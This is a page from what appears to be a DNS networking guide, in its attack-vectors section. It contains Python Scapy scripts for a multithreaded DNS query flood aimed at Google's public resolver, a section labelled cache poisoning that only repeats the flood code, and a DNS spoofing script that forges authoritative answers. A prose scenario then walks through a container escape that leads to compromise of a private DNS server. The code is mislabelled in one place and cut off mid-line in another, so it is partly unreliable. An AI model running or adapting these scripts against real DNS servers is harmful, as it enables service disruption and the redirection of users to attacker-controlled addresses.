Network-Guides

main DNS Repo

DNS

| Knowledge Base| Install | Test&Debug | Dynamic Updates & RNDC | Attack Vectors & Scenario | Protection |

Attack Vectors & Scenario

Attack Vectors

Snooping

Denial of Service Attack

from scapy.all import *
import threading

# Target DNS Server
target_dns_server = "8.8.8.8"  # Example: Google's DNS Server

# Function to send a DNS query
def send_dns_request():
    # Create a DNS query for google.com
    dns_request = IP(dst=target_dns_server)/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com"))
    # Send the DNS query
    send(dns_request)

# Main logic: Generate a large number of threads, each sending a DNS query
if __name__ == "__main__":
    # Number of threads to run simultaneously
    num_threads = 500

    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_dns_request)
        thread.start()
        threads.append(thread)

    # Wait until all threads are completed
    for thread in threads:
        thread.join()
    print("All threads completed.")

DNS Cache-Poisining

DNS cache poisoning, is a malicious activity where an attacker injects false DNS records into a DNS server’s cache.

Sending a fake record using spoofed ip

from scapy.all import *
import threading

# Target DNS Server
target_dns_server = "192.168.22.7"  # Example: private DNS Server

# Function to send a DNS query
def send_dns_request():
    # Create a DNS query for google.com
    dns_request = IP(dst=target_dns_server)/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com"))
    # Send the DNS query
    send(dns_request)

# Main logic: Generate a large number of threads, each sending a DNS query
if __name__ == "__main__":
    # Number of threads to run simultaneously
    num_threads = 500

    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_dns_request)
        thread.start()
        threads.append(thread)

    # Wait until all threads are completed
    for thread in threads:
        thread.join()

    print("All threads completed.")

Sending a fake query by using IP-Spoofing

DNS-spoofing

from scapy.all import send, IP, UDP, DNS, DNSQR, DNSRR
import random

# Target domain to be spoofed
target_domain = "foreman.de"
# IP address of the machine running the python code
attacker_ip = "192.168.1.100"  # Modify this according to your environment
# IP address of the victim client (DNS resolver)
victim_ip = "192.168.122.7"  # Modify this according to your environment

# DNS port
dns_port = 53

# Generate a random transaction ID
transaction_id = random.randint(0, 65535)

# Generate a fake DNS query
def generate_fake_dns_query(transaction_id):
    query = DNSQR(qname=target_domain, id=transaction_id)
    return query

# Spoof the DNS request and response
def spoof_dns_request_and_answer(transaction_id):
    # Create the DNS request with the specified transaction ID
    query_packet = IP(src=attacker_ip, dst=victim_ip) / UDP(sport=random.randint(1024, 65535), dport=dns_port) / DNS(id=transaction_id, rd=1, qd=DNSQR(qname=target_domain))

    # Create the fake DNS response
    answer = IP(dst=victim_ip, src=attacker_ip) / UDP(dport=dns_port, sport=random.randint(1024, 65535)) / DNS(id=transaction_id, aa=True, qr=True, an=DNSRR(name=target_domain, type='A', ttl=10, rdata='1.3.3.7'))

    # Send the fake DNS response
    send(answer)

# Start the DNS spoofing attack
spoof_dns_request_and_answer(transaction_id)

print(f"DNS spoofing

Possible Szenario

Escaping a Web Application Container and Attacking a Private DNS Server

Background

Attack Steps

  1. Container Escape:

    • The attacker identifies a vulnerability (e.g., misconfigured security settings, outdated software) within the web application container.
    • They exploit this vulnerability to escape the container.

  2. Network Access:

    • Once outside the container, the attacker gains access to the underlying host system.
    • They can now interact with the network interfaces (NICs) on the host.

  3. Discovering DNS Servers:

    • The attacker scans the network to identify DNS servers.
    • They may find a private DNS server used for internal services, such as dashboards or monitoring tools.

  4. DNS Server Exploitation:

    • The attacker targets the private DNS server:
      • If the DNS server is misconfigured (e.g., allows zone transfers), they can retrieve DNS records.
      • They can manipulate DNS records (e.g., redirecting traffic to malicious IP addresses).
      • If the DNS server has known vulnerabilities (e.g., outdated software), they can exploit them.

  5. Impact of DNS Server Compromise:

    • By compromising the DNS server, the attacker can:
      • Redirect legitimate users to malicious sites.
      • Intercept sensitive data (e.g., login credentials) by modifying DNS responses.
      • Disrupt internal services by altering DNS records.
Knowledge Base Install Test&Debug Dynamic Updates & RNDC Attack Vectors & Scenario Protection